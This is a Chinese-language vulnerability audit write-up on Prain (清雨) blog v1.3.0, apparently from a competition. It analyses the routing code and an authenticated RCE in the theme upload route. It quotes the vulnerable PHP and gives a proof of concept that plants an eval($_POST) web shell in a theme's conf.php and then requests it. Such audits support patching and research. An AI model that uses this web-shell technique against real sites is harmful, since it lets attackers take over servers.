Prain清雨博客v1.3.0审计

某比赛里面出现的一道题目

赛时都花时间在做渗透上面了 今天抽出点时间来看看

路由

这个是一个极度轻量化的博客框架 所有的路由控制都在index.php这一个文件里面

首先调用他定义的get方法

image-20240807213802863

这里我们访问的是/目录 为空 默认为index

使用$_SERVER[‘REQUEST_URI’]获取访问的路由

image-20240807213945837

一系列的匹配之后 返回了XDEBUG_SESSION_START=18778这个值

后面就是一系列包含文件 检验安装的操作

然后进到switch里面 查询是否有匹配的路由 存在则反感会页面 否则返还404

比如index 访问/?index

image-20240807214517471

这里显然不存在这个文件 返回空

image-20240807214405776

后台插件rce漏洞

该漏洞需要登录 漏洞点出现在?import路由

image-20240807214627744

这个是一个上传主题的地方 这个博客允许上传自定义主题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'sx'){
$itype = get(1,'str','system');
$sx = file_get_contents($_FILES['file']['tmp_name']);
//id
!preg_match('/\s*#\s*Id:\s*(.+)/', $sx, $id) && err('应用缺少Id');
!preg_match('/^[a-zA-Z]+[a-zA-Z0-9_-]+$/',$id[1]) && err('应用Id格式不正确');
!check($id[1],'length',1,30) && err('应用Id长度限制1-30');
//type
!preg_match('/\s*#\s*Type:\s*(.+)/', $sx, $type) && err('应用缺少Type');
if($type[1] !== 'tpl' && $type[1] !== 'ext' && $type[1] !== 'system') err('应用Type不正确');
if(preg_match('/\s*#\s*Limit:\s*(.+)/', $sx, $limit)){
$v1 = str_replace('.','',$limit[1]);
$v2 = str_replace('.','',V);
if((int)$v1 > (int)$v2) err('你的清雨版本太低,无法安装使用,需要升级到v'.$limit[1].'及以上');
}

这里限定了上传的文件后缀必须是sx 文件内容需要包含

Id Type Limit几个标识符 校验通过之后调用unsx去解析

image-20240807214957965

注意到这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(count($arr) === 1 && substr($arr[0],0,3) === 'SX.') $arr = explode("\n",base64_decode(substr($arr[0],3)));
foreach ($arr as $v) {
preg_match('/^\[(dir|file)\s(.*?)\](.+?)$/', $v, $m);
if($m){
$f = str_replace('\\','/',$m[2]);
if(substr($f,0,1) === '/' || stristr($f,'..') !== false) continue;
if($m[1] == 'dir'){
$util->createDir($path.$f);
}elseif($m[1] == 'file'){
$value = str_replace(['_@rn@_','_@r@_','_@n@_','_@_'],["\r\n","\r","\n",'@'],$m[3]);
$util->createFile($path.$f,$value);
}
}
}

这里实际上就查找了SX.开头的哪一行 然后将后面的内容base64解析 将几个关键词替换成\r\n 然后基本上没处理 传入了createFile里面

image-20240807215712397

这里就是直接创建了一个文件 文件名前面的ROOT控制 文件内容由刚刚传入的那个base64文件控制

我们下载官方的主题文件看看(base64解码后)

1
2
3
4
[file conf.php]<?php_@n@_return array (_@n@_	'id' => 'default',_@n@_	'type' => 'tpl',_@n@_	'author' => '雪洛',_@n@_	'name' => '默认主题',_@n@_	'intro' => '官网默认主题。',_@n@_	'price' => 0,_@n@_	'home' => 'https://xueluo.cn',_@n@_	'version' => '1.1.0',_@n@_	'limit' => '1.2.0'_@n@_);_@n@_?>
[file footer.php]<?php exit('404');?>_@rn@_ </div>_@rn@_ <div class="footer">_@rn@_ <div class="footer-left">_@rn@_ <span>© 2021 <a href="/" class="a-line">{$conf.name}</a> All Rights Reserved.</span>_@rn@_ <span>开源系统 - <a href="https://prain.cn" target="_blank">清雨v{#V}</a></span>_@rn@_ <span><a href="http://beian.miit.gov.cn" class="icp" target="_blank">{$conf.icp}</a></span>_@rn@_ </div>_@rn@_ <div class="footer-right">_@rn@_ <span style="margin-left:auto;">浏览量 : {$conf.views}</span>_@rn@_ <span>RunTime : {#getRunTime()}s</span>_@rn@_ <span>Memory : {#getMemory()}kb</span>_@rn@_ </div>_@rn@_ {$conf.js}_@rn@_ </div>_@rn@_ <!-- hook.body_footer -->_@rn@_</body>_@rn@_</html>
[file header.php]<?php exit('404'); ?>_@rn@_<!DOCTYPE html>_@rn@_<html lang="zh-Hans">_@rn@_<head>_@rn@_ <!-- hook.head_header -->_@rn@_ <meta http-equiv="Content-Type" content="text/html" charset="UTF-8" />_@rn@_ <title>{$conf.title}</title>_@rn@_ <meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no" />_@rn@_ <meta name="keywords" content="{$conf.key}" />_@rn@_ <meta name="description" content="{$conf.desc}" />_@rn@_ <!-- hook.meta -->_@rn@_ <link rel="shortcut icon" href="{#LIB_STYLE}logo.svg"/>_@rn@_ <link rel="stylesheet" href="{#LIB_STYLE}fk.css"/>_@rn@_ <link rel="stylesheet" href="{#TPL_STYLE}main.css?v={#time()}"/>_@rn@_ <!-- hook.css -->_@rn@_ <script src="{#LIB_STYLE}common.js"></script>_@rn@_ <script src="{#TPL_STYLE}main.js"></script>_@rn@_ <!-- hook.script -->_@rn@_ <!-- hook.head_footer -->_@rn@_</head>_@rn@_<body>_@rn@_ <!-- hook.body_header -->_@rn@_ <div class="header">_@rn@_ <div class="header-title"><img src="{#LIB_STYLE}logo.svg" title="logo" alt="logo"><a href="{#HOME}" title="{$conf.name}">{$conf.name}</a></div>_@rn@_ <div class="header-menu">_@rn@_ {foreach $navbarList}_@rn@_ <a href="{$item.url}" target="{if $item.target}_blank{/if}">{$item.name}</a>_@rn@_ {if count($navbarList) > $index + 1}<span class="_drop"></span>{/if}_@rn@_ {/foreach}_@rn@_ {if LOGIN}_@rn@_ <span class="_line"></span>_@rn@_ <a href="{url admin/article/create}">写文章</a>_@rn@_ {if $page == 'page'}_@rn@_ <span class="_drop"></span><a href="{url admin/article/editor/$id}">编辑</a>_@rn@_ <span class="_drop"></span><a href="javascript:SX.delArticle('{$id}')">删除</a>_@rn@_ {/if}_@rn@_ <span class="_line"></span><a href="{url admin/index}">后台</a><span class="_drop"></span><a href="{url admin/logout}">退出</a>_@rn@_ {else}_@rn@_ <span class="_line"></span><a href="{url login}">登录</a>_@rn@_ {/if}_@rn@_ </div>_@rn@_ </div>_@rn@_ <div class="main">
[file icon.png]‰PNG_@rn@__@n@_

第一个会写入到对应的tpl路由下

image-20240807220059883

由于这个路由写在都是index内 使用?index访问 而其他文件如果知道位置就可以直接访问

如果把文件改成

1
[file conf.php]<?php_@n@_eval($_POST[1]);_@n@_return......

就能访问对应的路由完成rce

poc

需要登录

1
2
3
4
5
6
7
8
9
10
11
12
13
# 清雨应用文件
# Id: default1
# Type: tpl
# Name: 默认主题
# Intro: 官网默认主题。
# Price: 0
# Home: https://xueluo.cn
# Author: 雪洛
# Version: 1.1.0
# Limit: 1.2.0


SX.插入shell语句后的base64

上传后访问

image-20240807220624730

1
http://url/tpl/default1/conf.php

成功rce

image-20240807220531122

他的密码直接写在了config这个变量上 然后所谓登录就是取hash比较一下 这个过程没找到能直接绕过的地方 应该是要配合其他方法才能利用这个漏洞